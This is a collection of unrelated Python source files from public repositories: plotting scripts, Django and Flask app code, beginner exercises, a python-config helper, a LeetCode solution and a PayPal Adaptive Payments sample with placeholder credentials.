plt.hist(t, bins, facecolor='blue', label='Obs', alpha=0.5, normed=1,
histtype='stepfilled')
plt.hist(predictions, bins, facecolor='orange', label='Pred',
alpha=0.5, normed=1, histtype='stepfilled')
plt.hist(met, bins, edgecolor='red', label='MET', alpha=0.5, normed=1,
histtype='step', linewidth=2)
plt.xlabel(target)
plt.legend(loc='best')
plt.subplot(2, 3, 2)
plt.hist(resolution, sp.linspace(-100, 100, 50),
facecolor='green', label='Res', alpha=0.5, histtype='stepfilled')
plt.xlabel('Resolution')
plt.legend(loc='best')
plt.subplot(2, 3, 4)
hist2d_pred, x_edges, y_edges = sp.histogram2d(t, predictions, bins=bins)
plt.pcolor(hist2d_pred)
plt.xlabel(target)
plt.ylabel('Prediction')
plt.subplot(2, 3, 5)
plt.scatter(t, predictions)
plt.xlabel(target)
plt.ylabel('Prediction')
plt.subplot(2, 3, 3)
plt.hist(resolution_met, sp.linspace(-100, 100, 50),
facecolor='green', label='Res (MET)', alpha=0.5, histtype='stepfilled')
plt.xlabel('Resolution')
plt.legend(loc='best')
plt.subplot(2, 3, 6)
plt.scatter(t, met)
plt.xlabel(target)
plt.ylabel('MET')
plt.show()
if __name__ == "__main__":
sys.exit(main(sys.argv))
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33e17f6c58c9bf97e891655e6e19649fba2301be | 2567d8fd264d3b2a696c080dfeddc0d26eb4587c | /userapp/views.py | a0ad31dd4b0a28b588ea96673df5dd05fff5dda7 | [] | no_license | Alex87Rt/rest_dj | 66a3be36088cc12f774874eb2a215ff83a876ccd | a376487dfc299784ee473334ba080004efb8fc6b | refs/heads/master | 2023-08-19T11:45:06.269249 | 2021-09-27T19:25:27 | 2021-09-27T19:25:27 | 411,015,823 | 0 | 0 | null | 2021-10-03T20:56:39 | 2021-09-27T19:24:50 | Python | UTF-8 | Python | false | false | 393 | py | from rest_framework.viewsets import GenericViewSet
from rest_framework.mixins import ListModelMixin, RetrieveModelMixin, UpdateModelMixin
from userapp.models import User
from userapp.serializers import UserModelSerializer
class UserModelViewSet(ListModelMixin, RetrieveModelMixin, UpdateModelMixin, GenericViewSet):
queryset = User.objects.all()
serializer_class = UserModelSerializer
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] | |
25da8a1b86f315f9b179253954558304e23b3fa3 | 645bc34b4f22dcd372b6e84f3cc237039c451b74 | /Pyon exercicios/Exercicios/074.py | 5c2f218e0d55259d99cd29dbf8c258d76edbe780 | [
"MIT"
] | permissive | alefbispo/Exercicios-do-curso-de-Python | b778c1619e2c3cc594ea909673b0c3756ec45f7a | 16cd569ab16542135b834ac8d0cfb0ae84836d53 | refs/heads/main | 2022-12-25T09:22:42.401244 | 2020-10-06T21:20:44 | 2020-10-06T21:20:44 | 301,856,620 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 407 | py | '''Crie um programa que gera 5 numeros aleatorios e guarda em uma tupla
depois mostre a lsita de numeros gerados
indique o menor
e o maior'''
from random import randint
numeros = (randint(1, 10), randint(1, 10), randint(1, 10), randint(1, 10), randint(1, 10))
print('A lista é : ', end='')
for x in numeros:
print(x, end=' ')
print(f'\nE o maior numero é {max(numeros)} e o menor é {min(numeros)}')
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] | |
bde78a4c974e13d854f32ef45423cc476e96523a | a29f151197c85dee8f05493a8fe697549391fef2 | /nr07_Petle/nr07_DebuggowanieSkryptu_LAB.py | c31a383e61c002aad1b7ecb3045cae9e61d76c9f | [] | no_license | sswietlik/helloPython | 18a9cd3bb6ab9276415cbb018c9153c99abcb2f0 | d207567e7d5eabd9d7eef8c72538453ca3382021 | refs/heads/master | 2022-11-26T20:15:07.723910 | 2020-08-11T06:44:34 | 2020-08-11T06:44:34 | 261,168,610 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 327 | py | print('Zad 1')
number = 1
previus_number = 0
while number < 50:
print(number + previus_number)
previus_number = number
number = number + 1
print()
print('Zad 2')
print()
text = ''
number = 10
condition = True
while condition:
text += 'x'
print(text)
if len(text) > number:
condition = False | [
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] | |
0b6170d122be14be89e9be9a761532cbdecb8118 | 2eecff5e4ab798511e153d81d7a7ad4c4f176c20 | /applicationBook/models.py | 7ce1468cf1a47aa5fee1b3154b253defa17fc085 | [] | no_license | motovotcazsvs/projectBook | b915f62527903656eabdacc0bae2e09440466253 | ed4a5460e717d88534800a29bab499ef339776cc | refs/heads/main | 2023-06-03T04:47:53.254889 | 2021-06-17T19:40:03 | 2021-06-17T19:40:03 | 377,943,370 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,675 | py | import datetime
from django.db import models
from django.utils import timezone
from django.contrib.auth.models import User
from django.utils.safestring import mark_safe
class Book(models.Model):
#id = models.AutoField(primary_key=True)
title_book = models.CharField("Название книги", max_length = 100)
author_name = models.CharField("Автор", max_length = 100, default = '')
description_book = models.CharField("описание книги", max_length = 1000)
publication_date_book = models.DateTimeField("дата публикации")
image_book = models.ImageField(blank = True, upload_to = 'image/', verbose_name = 'изображение')
pdf_book = models.FileField(upload_to = 'pdf/', verbose_name = 'ссылка pdf', default = '')
def __str__(self):
return self.title_book
def adminShowImage(self):
if self.image_book:
return mark_safe(u'<a href="{0}" target="_blank"><img src="{0}" width="100"/></a>'.format(self.image_book.url))
else:
return '(Нет изображения)'
adminShowImage.short_description = 'Изображение'
adminShowImage.allow_tags = True
def adminShowPdf(self):
if self.pdf_book:
return mark_safe(u'<a href="{0}" target="_blank"><img src="{0}" width="100"/></a>'.format(self.pdf_book.url))
else:
return '(Нет файла pdf)'
adminShowPdf.short_description = 'файл pdf'
adminShowPdf.allow_tags = True
def delete(self, *args, **kwargs):
self.pdf_book.delete()
self.image_book.delete()
super().delete(*args, **kwargs)
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633d256d2a05561a0b486052b94ba02dc527c64e | 4ddec831379d52e507d8c3a3cf8d520b63c38688 | /venv/bin/python-config | 8fc7f4eb52b5531e398d65b5f65db4642f5f8b5a | [] | no_license | nuriahsan/nwh87 | 0a88487ccde459df85d5ee6f4f1b170910e76467 | 483e12b97a8bb7b3d6ca00348f2e4873ec0aef15 | refs/heads/master | 2021-03-19T15:32:35.429371 | 2017-12-16T08:36:34 | 2017-12-16T08:36:34 | 114,441,286 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,345 | #!/home/itsolution/nwh87/venv/bin/python
import sys
import getopt
import sysconfig
valid_opts = ['prefix', 'exec-prefix', 'includes', 'libs', 'cflags',
'ldflags', 'help']
if sys.version_info >= (3, 2):
valid_opts.insert(-1, 'extension-suffix')
valid_opts.append('abiflags')
if sys.version_info >= (3, 3):
valid_opts.append('configdir')
def exit_with_usage(code=1):
sys.stderr.write("Usage: {0} [{1}]\n".format(
sys.argv[0], '|'.join('--'+opt for opt in valid_opts)))
sys.exit(code)
try:
opts, args = getopt.getopt(sys.argv[1:], '', valid_opts)
except getopt.error:
exit_with_usage()
if not opts:
exit_with_usage()
pyver = sysconfig.get_config_var('VERSION')
getvar = sysconfig.get_config_var
opt_flags = [flag for (flag, val) in opts]
if '--help' in opt_flags:
exit_with_usage(code=0)
for opt in opt_flags:
if opt == '--prefix':
print(sysconfig.get_config_var('prefix'))
elif opt == '--exec-prefix':
print(sysconfig.get_config_var('exec_prefix'))
elif opt in ('--includes', '--cflags'):
flags = ['-I' + sysconfig.get_path('include'),
'-I' + sysconfig.get_path('platinclude')]
if opt == '--cflags':
flags.extend(getvar('CFLAGS').split())
print(' '.join(flags))
elif opt in ('--libs', '--ldflags'):
abiflags = getattr(sys, 'abiflags', '')
libs = ['-lpython' + pyver + abiflags]
libs += getvar('LIBS').split()
libs += getvar('SYSLIBS').split()
# add the prefix/lib/pythonX.Y/config dir, but only if there is no
# shared library in prefix/lib/.
if opt == '--ldflags':
if not getvar('Py_ENABLE_SHARED'):
libs.insert(0, '-L' + getvar('LIBPL'))
if not getvar('PYTHONFRAMEWORK'):
libs.extend(getvar('LINKFORSHARED').split())
print(' '.join(libs))
elif opt == '--extension-suffix':
ext_suffix = sysconfig.get_config_var('EXT_SUFFIX')
if ext_suffix is None:
ext_suffix = sysconfig.get_config_var('SO')
print(ext_suffix)
elif opt == '--abiflags':
if not getattr(sys, 'abiflags', None):
exit_with_usage()
print(sys.abiflags)
elif opt == '--configdir':
print(sysconfig.get_config_var('LIBPL'))
| [
"[email protected]"
] | ||
17d28bd75b860776d0eaa30ce349594a99dcc772 | c2c86fc83b4053d360c2825e31837c1bdfe65626 | /Instrumentos/Codigos/deprecated/Q4/src/models/Issue.py | abf5fbb25c1693101061064a2afa8c8447a264f5 | [
"CC-BY-4.0"
] | permissive | aylton-almeida/TIS6 | f098883aebb3e9b4bf73d91ab660adf08a94eb58 | 8072b3f868b87fd92764850c9ab37f2600b4fb4e | refs/heads/master | 2023-06-05T05:53:56.166432 | 2021-06-02T00:22:34 | 2021-06-02T00:22:34 | 380,529,706 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 732 | py | from __future__ import annotations
from pandas.core import series
class Issue:
cursor: str
id: str
state: str
def __init__(self, data: dict) -> None:
self.cursor = data.get('cursor')
self.id = data.get('id')
self.state = data.get('state')
@staticmethod
def from_github(data: dict) -> Issue:
node = data.get('node')
return Issue({
'cursor': data.get('cursor'),
'id': node.get('id'),
'state': node.get('state'),
})
@staticmethod
def from_dataframe(data: series) -> Issue:
return Issue({
'cursor': data['cursor'],
'id': data['id'],
'state': data['state'],
})
| [
"[email protected]"
] | |
c1e94ba5f65563136567f3e7a0e4959ef0888379 | de24f83a5e3768a2638ebcf13cbe717e75740168 | /moodledata/vpl_data/443/usersdata/299/100806/submittedfiles/matriz1.py | bcd39c701621720ce81cda93ee4390016c4cb975 | [] | no_license | rafaelperazzo/programacao-web | 95643423a35c44613b0f64bed05bd34780fe2436 | 170dd5440afb9ee68a973f3de13a99aa4c735d79 | refs/heads/master | 2021-01-12T14:06:25.773146 | 2017-12-22T16:05:45 | 2017-12-22T16:05:45 | 69,566,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 287 | py | # -*- coding: utf-8 -*-
m=int(input(''))
n=int(input(''))
matriz=[]
for i in range(0,m,1):
linha=[]
for j in range(0,n,1):
linha.append(int(input('')))
matriz.append(linha)
print(matriz)
espelho=[]
for i in range(m,-1,-1):
espelho.append(matriz[i])
print(espelho) | [
"[email protected]"
] | |
264a5687665c41beae850eadd61b1e7c1b06e832 | cc04d19a4b6ebe8c16305dc5b738f011449fd5a4 | /Data Science/Formação Cientista de Dados com Python e R/Séries Temporais/decomposicao.py | b0c3695c39132fef17fef280b828669a6b1f664d | [] | no_license | souzag/D.S.-Python | 6851e413890948b5bcf411d394a4620a850b1e07 | 82570883872dd43e788f624e3a95f13d4a4d95ef | refs/heads/master | 2022-01-27T22:49:32.662512 | 2022-01-10T18:38:20 | 2022-01-10T18:38:20 | 224,016,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 987 | py | import pandas as pd
import matplotlib.pylab as plt
from statsmodels.tsa.seasonal import seasonal_decompose
base = pd.read_csv('dados/AirPassengers.csv')
dateparse = lambda dates: pd.datetime.strptime(dates, '%Y-%m')
base = pd.read_csv('dados/AirPassengers.csv', parse_dates = ['Month'],
index_col = 'Month', date_parser = dateparse)
ts = base['#Passengers']
plt.plot(ts)
decomposicao = seasonal_decompose(ts)
tendencia = decomposicao.trend
sazonal = decomposicao.seasonal
aleatorio = decomposicao.resid
plt.plot(sazonal)
plt.plot(tendencia)
plt.plot(aleatorio)
plt.subplot(4, 1, 1)
plt.plot(ts, label = 'Original')
plt.legend(loc = 'best')
plt.subplot(4, 1, 2)
plt.plot(tendencia, label = 'Tendência')
plt.legend(loc = 'best')
plt.subplot(4, 1, 3)
plt.plot(sazonal, label = 'Sazonalidade')
plt.legend(loc = 'best')
plt.subplot(4, 1, 4)
plt.plot(aleatorio, label = 'Aleatório')
plt.legend(loc = 'best')
plt.tight_layout() | [
"[email protected]"
] | |
c29cdddd2bfb93b1f1e7e7bdd3c621830b504ef2 | 08ceef976ba0c26baba4d789efa6c3ad14f5a92b | /alot.py | 01a4016e710b3c4fcea742951407c782e2f54264 | [] | no_license | nCrazed/thealot_heroku | b3a775f1519cffbcb0525a3e2c8e2b7729e3033e | 4cd402809d67c8df4a4824c4af9a995351602e1b | refs/heads/master | 2016-09-06T18:16:46.080386 | 2014-02-08T11:17:06 | 2014-02-08T11:17:06 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 441 | py | import json
import os
from thealot import TheAlot
config = {
"server" : "irc.quakenet.org",
"port" : 6667,
"channel" : "#TheAlot",
"nickname" : "HerokuAlot",
"prefix" : "!",
"database" : os.getenv("DATABASE_URL"),
"plugins" : [
"quote",
"links",
"alot",
"excuse",
]
}
with open('config.json', 'w') as f:
json.dump(config, f)
bot = TheAlot()
bot.start()
| [
"[email protected]"
] | |
2cfd471ac0a96cad4ce6af0b515c10f6626831e4 | 7974ec0bfb1d1762bc0d6cb661f9a8717c769ff2 | /config.py | 313c059c72d18d18a768295fea8ed03e3e7d90d8 | [] | no_license | codingdojo-projects-algos-0419/CampaignTracker | e2e1fbc7f7f940d01ee276ae41d4444b2e38f96d | fe7f5addc72262dd3e244783a4a9d3c7a425ce4f | refs/heads/master | 2021-06-17T04:05:40.401474 | 2019-06-24T22:34:40 | 2019-06-24T22:34:40 | 179,190,866 | 0 | 0 | null | 2021-03-20T01:13:58 | 2019-04-03T02:00:15 | Python | UTF-8 | Python | false | false | 455 | py | from flask import Flask
from flask_bcrypt import Bcrypt
from flask_sqlalchemy import SQLAlchemy
from flask_migrate import Migrate
from flask_marshmallow import Marshmallow
app = Flask(__name__)
app.secret_key = "Skyrim is for the Nords"
app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///campaign_tracker.db"
app.config["SQLALCHEMY_TRACK_MODIFICATIONS"] = False
bcrypt = Bcrypt(app)
db = SQLAlchemy(app)
migrate = Migrate(app, db)
ma = Marshmallow(app) | [
"[email protected]"
] | |
0c6e67e73b53b44b75f37b93ef76aabba029dc38 | 59da6ae08de1025bafffd2d525890c7356989c83 | /0x08-python-more_classes/0-rectangle.py | b29deffa2e968a6ebc3fbc31f481e56836257563 | [] | no_license | mittsahl/holbertonschool-higher_level_programming | e0b797b6bac52f099e3379d3d36da7a425037279 | c93f5b5982bbc632d19c513117025a8eae9a1648 | refs/heads/master | 2023-03-18T21:02:25.636186 | 2021-03-03T18:58:18 | 2021-03-03T18:58:18 | 319,373,187 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 119 | py | #!/usr/bin/python3
""" as of now empty rectangle class """
class Rectangle:
""" the rectangle class """
pass
| [
"[email protected]"
] | |
134c95696c7c5794d06cd574a9ce55075d6995a9 | 516014e56272bee587fc3143b1f76de9e1d40e98 | /ecommerce/views.py | 35ba58529c03724472adbab4c674fb76d61d3327 | [] | no_license | JoulesCH/ecommerce | a9428ef84b148cc1e114651c78cab9c01927cdc8 | c3cb25ab9ede5bf7adb0189a86194953eac969f1 | refs/heads/master | 2023-04-14T13:59:50.783597 | 2021-04-24T17:48:24 | 2021-04-24T17:48:24 | 358,467,565 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 634 | py | from django.shortcuts import render
from django.http import HttpResponse
from products.models import Product
def home(request):
principal_categories = ["temporada", "hombre", "mujer"]
products = Product.objects.all()
context = {
'products': products,
'p_categories': principal_categories,
'inicio':'active'
}
try:
user = request.session['username']
except:
pass
else:
context['username'] = user
return render(request, 'home/home.html', context)
def prueba(request):
print(request.user.cart.ide)
return render(request, 'pruebas.html')
| [
"[email protected]"
] | |
07158f94f5a82ff2bac275c772cf38aac904688e | 141b42d9d72636c869ff2ce7a2a9f7b9b24f508b | /myvenv/Lib/site-packages/graphql_jwt/__init__.py | 819f022ae38a37427762722a570444e64a2871f4 | [
"BSD-3-Clause"
] | permissive | Fa67/saleor-shop | 105e1147e60396ddab6f006337436dcbf18e8fe1 | 76110349162c54c8bfcae61983bb59ba8fb0f778 | refs/heads/master | 2021-06-08T23:51:12.251457 | 2018-07-24T08:14:33 | 2018-07-24T08:14:33 | 168,561,915 | 1 | 0 | BSD-3-Clause | 2021-04-18T07:59:12 | 2019-01-31T17:00:39 | Python | UTF-8 | Python | false | false | 244 | py | from . import relay
from .mutations import (
JSONWebTokenMutation, ObtainJSONWebToken, Verify, Refresh,
)
__all__ = [
'relay',
'JSONWebTokenMutation',
'ObtainJSONWebToken',
'Verify',
'Refresh',
]
__version__ = '0.1.9'
| [
"[email protected]"
] | |
e666f5dc1d4d270422e3230f0bd3998bdcdfb9fe | 38e3f2f9dab4c8b51fd5de9be82cebc3c12e5513 | /ch04/simple-payment-example/main.py | 50a0cfcd6187bbee44eadfc5cfa5b531c701e127 | [] | no_license | Web5design/PayPal-APIs-Up-and-Running | a012e74900941d81ee3eaaf7ef9a7401e92f81ee | 495e757bc20484262e5dcc2a95724d7918c02770 | refs/heads/master | 2021-01-20T01:38:29.900850 | 2012-02-01T07:48:17 | 2012-02-01T07:48:17 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,667 | py | #!/usr/bin/env python
"""
A minimal GAE application that makes an Adaptive API request to PayPal
and parses the result. Fill in your own 3 Token Credentials and sample
account information from your own sandbox account
"""
import random
from google.appengine.ext import webapp
from google.appengine.ext.webapp import util
from google.appengine.api import urlfetch
from google.appengine.api import memcache
from django.utils import simplejson as json
# Replace these values with your own 3-Token credentials and a sample receiver
# who collects the funds to run this sample code in the developer sandbox
user_id = "XXX"
password = "XXX"
signature = "XXX"
receiver = "XXX"
class MainHandler(webapp.RequestHandler):
# Helper function to execute requests with appropriate headers
def _request(self, url, params):
# standard Adaptive Payments headers
headers = {
'X-PAYPAL-SECURITY-USERID' : user_id,
'X-PAYPAL-SECURITY-PASSWORD' : password,
'X-PAYPAL-SECURITY-SIGNATURE' : signature,
'X-PAYPAL-REQUEST-DATA-FORMAT' : 'JSON',
'X-PAYPAL-RESPONSE-DATA-FORMAT' : 'JSON',
'X-PAYPAL-APPLICATION-ID' : 'APP-80W284485P519543T'
}
return urlfetch.fetch(
url,
payload = json.dumps(params),
method=urlfetch.POST,
validate_certificate=True,
deadline=10, # seconds
headers=headers
)
def get(self, mode=""):
# /status - executes PaymentDetails when PayPal redirects back to this app after payment approval
if mode == "status":
payKey = memcache.get(self.request.get('sid'))
params = {
'requestEnvelope' : {'errorLanguage' : 'en_US', 'detailLevel' : 'ReturnAll'},
'payKey' : payKey
}
result = self._request('https://svcs.sandbox.paypal.com/AdaptivePayments/PaymentDetails', params)
response = json.loads(result.content)
if result.status_code == 200: # OK
# Convert back to indented JSON and display it
pretty_json = json.dumps(response,indent=2)
self.response.out.write('<pre>%s</pre>' % (pretty_json,))
else:
self.response.out.write('<pre>%s</pre>' % (json.dumps(response,indent=2),))
else: # / (application root) - executed when app loads and initiates a Pay request
amount = 10.00
# A cheap session implementation that's leveraged in order to lookup the payKey
# from the Pay API and execute PaymentDetails when PayPal redirects back to /status
sid = str(random.random())[5:] + str(random.random())[5:] + str(random.random())[5:]
return_url = self.request.host_url + "/status" + "?sid=" + sid
cancel_url = return_url
redirect_url = "https://www.sandbox.paypal.com/cgi-bin/webscr?cmd=_ap-payment&paykey="
params = {
'requestEnvelope' : {'errorLanguage' : 'en_US', 'detailLevel' : 'ReturnAll'},
'actionType' : 'PAY',
'receiverList' : {
'receiver' : [
{'email' : receiver, 'amount' : amount}
],
},
'currencyCode' : 'USD',
'memo' : 'Simple payment example.',
'cancelUrl' : cancel_url,
'returnUrl' : return_url,
}
result = self._request('https://svcs.sandbox.paypal.com/AdaptivePayments/Pay', params)
response = json.loads(result.content)
if result.status_code == 200: # OK
# Convert back to indented JSON and inject a hyperlink to kick off payment approval
pretty_json = json.dumps(response,indent=2)
pretty_json = pretty_json.replace(response['payKey'], '<a href="%s%s" target="_blank">%s</a>' % (redirect_url, response['payKey'], response['payKey'],))
memcache.set(sid, response['payKey'], time=60*10) # seconds
self.response.out.write('<pre>%s</pre>' % (pretty_json,))
else:
self.response.out.write('<pre>%s</pre>' % (json.dumps(response,indent=2),))
def main():
application = webapp.WSGIApplication([('/', MainHandler),
('/(status)', MainHandler)],
debug=True)
util.run_wsgi_app(application)
if __name__ == '__main__':
main()
| [
"[email protected]"
] | |
f499fdcb4f0709533b24228b02f3caa54d6bc004 | 5a2390789b4e4affbc20bbdfd61a22360701ce26 | /wikiscout/annotation.py | b55c73d392fd67ced74c12a6a2b3c766cbc96bac | [] | no_license | alvaromorales/wikiscout | 1db0a060f7372a703c918c085f47ff8a74fcb439 | 0f72da459bf84f50045fd4ac867a6f87048059c2 | refs/heads/master | 2021-01-13T02:10:45.146992 | 2014-07-29T04:15:15 | 2014-07-29T04:15:15 | 14,383,870 | 4 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,870 | py | import re
import logging
import wikikb
import tokenize
from nltk.corpus import stopwords
from unidecode import unidecode
logger = logging.getLogger(__name__)
class ObjectNotFoundException(Exception):
pass
class ObjectSymbolNotFoundException(Exception):
pass
# Annotation Generation methods
def replace_title(title, symbol, tokenization):
title_possessive = title + '\'s'
ok = False
for i, token in enumerate(tokenization.tokens):
if token.value == title:
tokenization.tokens[i] = tokenization.replace_token(token, symbol)
ok = True
elif token.value == title_possessive:
tokenization.tokens[i] = tokenization.replace_token(token,
symbol + '\'s')
ok = True
return ok
def replace_pronoun(object, symbol, tokenization):
token = tokenization.tokens[0]
if token.value in ['He', 'She', 'It', 'They']:
tokenization.tokens[0] = tokenization.replace_token(token, symbol)
return True
if token.value in ['His', 'Her', 'Its', 'Their']:
tokenization.tokens[0] = tokenization.replace_token(token,
symbol + '\'s')
return True
return False
def replace_synonyms(object, symbol, tokenization):
synonyms = wikikb.get_synonyms(object)
if synonyms is None or len(synonyms) == 0:
return False
ok = False
for i, token in enumerate(tokenization.tokens):
for s in synonyms:
if token.value == s:
tokenization.tokens[i] = tokenization.replace_token(token,
symbol)
ok = True
elif token.value == s + '\'s':
tokenization.tokens[i] = tokenization.replace_token(
token, '%s\'s' % symbol)
ok = True
return ok
def replace_object(object, symbol, tokenization):
ok = replace_title(object, symbol, tokenization)
for f in [replace_pronoun, replace_synonyms]:
if ok:
break
ok = f(object, symbol, tokenization)
return ok
def replace_proper_nouns(object, tokenization):
ok = False
for i, t in enumerate(tokenization.tokens):
if not t.value[0].isupper() or t.value.lower() in \
stopwords.words('english'):
continue
possessive = re.search(r'(.*?)\'s$', t.value)
if possessive:
noun = possessive.group(1)
cls = wikikb.get_class(noun)
if cls:
tokenization.tokens[i] = tokenization.replace_token(
t, 'any-%s\'s' % cls)
ok = True
else:
title = wikikb.get_synonym_title(noun, object)
if title:
cls = wikikb.get_class(title)
if cls:
tokenization.tokens[i] = tokenization.replace_token(
t, 'any-%s\'s' % cls)
ok = True
else:
logging.debug('Could not find a matching symbol for %s' % t.value)
else:
logging.debug('Could not find a matching symbol for %s' % t.value)
else:
cls = wikikb.get_class(t.value)
if cls:
tokenization.tokens[i] = tokenization.replace_token(
t, 'any-%s' % cls)
ok = True
else:
title = wikikb.get_synonym_title(t.value, object)
if title:
cls = wikikb.get_class(title)
if cls:
tokenization.tokens[i] = tokenization.replace_token(
t, 'any-%s' % cls)
ok = True
else:
logging.debug('Could not find a matching symbol for %s' % t.value)
else:
logging.debug('Could not find a matching symbol for %s' % t.value)
return ok
def annotate(sentence, object):
sentence = unidecode(unicode(sentence))
object = unidecode(unicode(object))
cls = wikikb.get_class(object)
if not cls:
raise ObjectSymbolNotFoundException(
"Could not generate a matching symbol for object \"%s\"" % object)
symbol = 'any-%s' % cls
tokenization = tokenize.tokenize(sentence)[0]
logger.info('Tokenized as %s' % [t.value for t in tokenization.tokens])
if replace_object(object, symbol, tokenization):
replace_proper_nouns(object, tokenization)
return tokenization
else:
raise ObjectNotFoundException("Could not find object \"%s\" in \"%s\""
% (object, sentence))
| [
"alvarom@f1b2aeda-bd07-0410-ad1a-e603d8ac5cf8"
] | alvarom@f1b2aeda-bd07-0410-ad1a-e603d8ac5cf8 |
1e299f15e93636a48838e40218e29326b88193af | a7dba0110725eda866598a483bff2ff0328a5b76 | /crm/main/models.py | d9a38611ac24f673230aa0972e67921c2abc8ff8 | [] | no_license | jetkokos/bar_crm | b0e650fd09f96e2e118ca9823d1a51520b8baf1c | 2b530398f9846b99cd6e1cc80a7ec6a34efda368 | refs/heads/master | 2022-12-02T00:10:00.582041 | 2020-08-10T09:56:05 | 2020-08-10T09:56:05 | 286,426,226 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,019 | py | from django.db import models
from django.contrib.auth.models import User
# from datetime import date
# Create your models here.
class Report(models.Model):
date = models.DateField(unique=True)
created_by = models.ForeignKey(User, on_delete=models.CASCADE)
cash_amount = models.FloatField()
card_amount = models.FloatField()
cashbox_morning = models.FloatField()
cashbox_evening = models.FloatField()
cashbox_cash_added = models.FloatField(default=0)
expense_cash = models.FloatField(blank=True,default=0)
reason = models.CharField(max_length=300, blank=True)
def cashbox_difference(self):
return (self.cashbox_evening - (self.cashbox_morning + self.cash_amount - self.expense_cash + self.cashbox_cash_added))
def summ_cash_and_card_proceed(self):
return (self.cash_amount + self.card_amount)
# def today_check(self):
# return date.today() == self.date
def __str__(self):
return str(self.date) + ' ' + str(self.created_by)
| [
"[email protected]"
] | |
836b040e3b5aced9acf67551d4a1028dfd7d51be | 3940b4a507789e1fbbaffeb200149aee215f655a | /lc/review_832.FlippingImage.py | 2cd9d7365186d351732cd500abb08e980ee7063b | [] | no_license | akimi-yano/algorithm-practice | 15f52022ec79542d218c6f901a54396a62080445 | 1abc28919abb55b93d3879860ac9c1297d493d09 | refs/heads/master | 2023-06-11T13:17:56.971791 | 2023-06-10T05:17:56 | 2023-06-10T05:17:56 | 239,395,822 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,667 | py | # 832. Flipping an Image
# Easy
# 1071
# 165
# Add to List
# Share
# Given a binary matrix A, we want to flip the image horizontally, then invert it, and return the resulting image.
# To flip an image horizontally means that each row of the image is reversed. For example, flipping [1, 1, 0] horizontally results in [0, 1, 1].
# To invert an image means that each 0 is replaced by 1, and each 1 is replaced by 0. For example, inverting [0, 1, 1] results in [1, 0, 0].
# Example 1:
# Input: [[1,1,0],[1,0,1],[0,0,0]]
# Output: [[1,0,0],[0,1,0],[1,1,1]]
# Explanation: First reverse each row: [[0,1,1],[1,0,1],[0,0,0]].
# Then, invert the image: [[1,0,0],[0,1,0],[1,1,1]]
# Example 2:
# Input: [[1,1,0,0],[1,0,0,1],[0,1,1,1],[1,0,1,0]]
# Output: [[1,1,0,0],[0,1,1,0],[0,0,0,1],[1,0,1,0]]
# Explanation: First reverse each row: [[0,0,1,1],[1,0,0,1],[1,1,1,0],[0,1,0,1]].
# Then invert the image: [[1,1,0,0],[0,1,1,0],[0,0,0,1],[1,0,1,0]]
# Notes:
# 1 <= A.length = A[0].length <= 20
# 0 <= A[i][j] <= 1
# This solution works !
class Solution:
def flipAndInvertImage(self, A: List[List[int]]) -> List[List[int]]:
ROW = len(A)
COL = len(A[0])
for row in range(ROW):
for col in range(COL//2):
A[row][col], A[row][COL-1-col] = A[row][COL-1-col], A[row][col]
for row in range(ROW):
for col in range(COL):
A[row][col] ^= 1
return A
# This solution works ! - 1 liner
class Solution:
def flipAndInvertImage(self, A: List[List[int]]) -> List[List[int]]:
return [[col^1 for col in reversed(row)] for row in A] | [
"[email protected]"
] | |
42465f879882e1d5f08855c795d61d43a6aa2c48 | f9e54f672768dc607131ba00881b2419d321f599 | /Desafio 43.py | 2aab5096755d7e7c0a6325342b80b33b89c19f0f | [] | no_license | fernandorssa/CeV_Python_Exercises | 60937409f72076d173e4f70c69966a667f6f1be9 | 54e699bc06838976028327b85fd60b52501cc1e4 | refs/heads/master | 2020-09-10T05:51:02.485894 | 2019-11-14T10:40:18 | 2019-11-14T10:40:18 | 221,664,955 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 617 | py | peso = float(input('Digite o seu peso: '))
altura = float(input('Digite a sua altura: '))
imc = peso / (altura * altura)
print('')
print('O seu IMC é de {:.2f}'.format(imc))
print('')
if imc < 18.5:
print('FERNANDA? BETA? Você está abaixo do peso. Quer uma paçoca?')
elif imc >= 18.5 and imc < 25:
print('Seu peso é ideal. PARABÉNS')
elif imc >= 25 and imc < 30:
print('Você está com sobrepeso')
elif imc >= 30 and imc < 40:
print('OBESIDADE!!!! VAI FAZER ACADEMIA, PORRA!!!!!')
else:
print('OBESO MÓRBIDO, CARALHOOOOOOO!!!!!!!!!!!!!')
print('')
print('Tenha um bom dia =)')
print('')
| [
"[email protected]"
] | |
0b704ba5ab2e27ba3d5a3622b75cc91dcaae62a1 | 5d5463545f2dca259b6aeec2cc1dcaa04d47d518 | /tribune/settings.py | d1e2924de818da30068e31df0c74fbe53e2b5058 | [] | no_license | umurangamirwa/Django_Admin1 | fda88a36fd41e23a3f8fa622519a111f42f91145 | 7c00a2aa4ef18d978d67806f525d2aec44c94ef1 | refs/heads/master | 2020-04-28T16:03:28.506832 | 2019-03-13T10:23:26 | 2019-03-13T10:23:26 | 175,397,310 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,524 | py | """
Django settings for tribune project.
Generated by 'django-admin startproject' using Django 1.11.
For more information on this file, see
https://docs.djangoproject.com/en/1.11/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.11/ref/settings/
"""
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/1.11/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'ocrflyk0-m9utmyt@(hv2t^ktsr_ivvgq2c=uzea(bd20jucju'
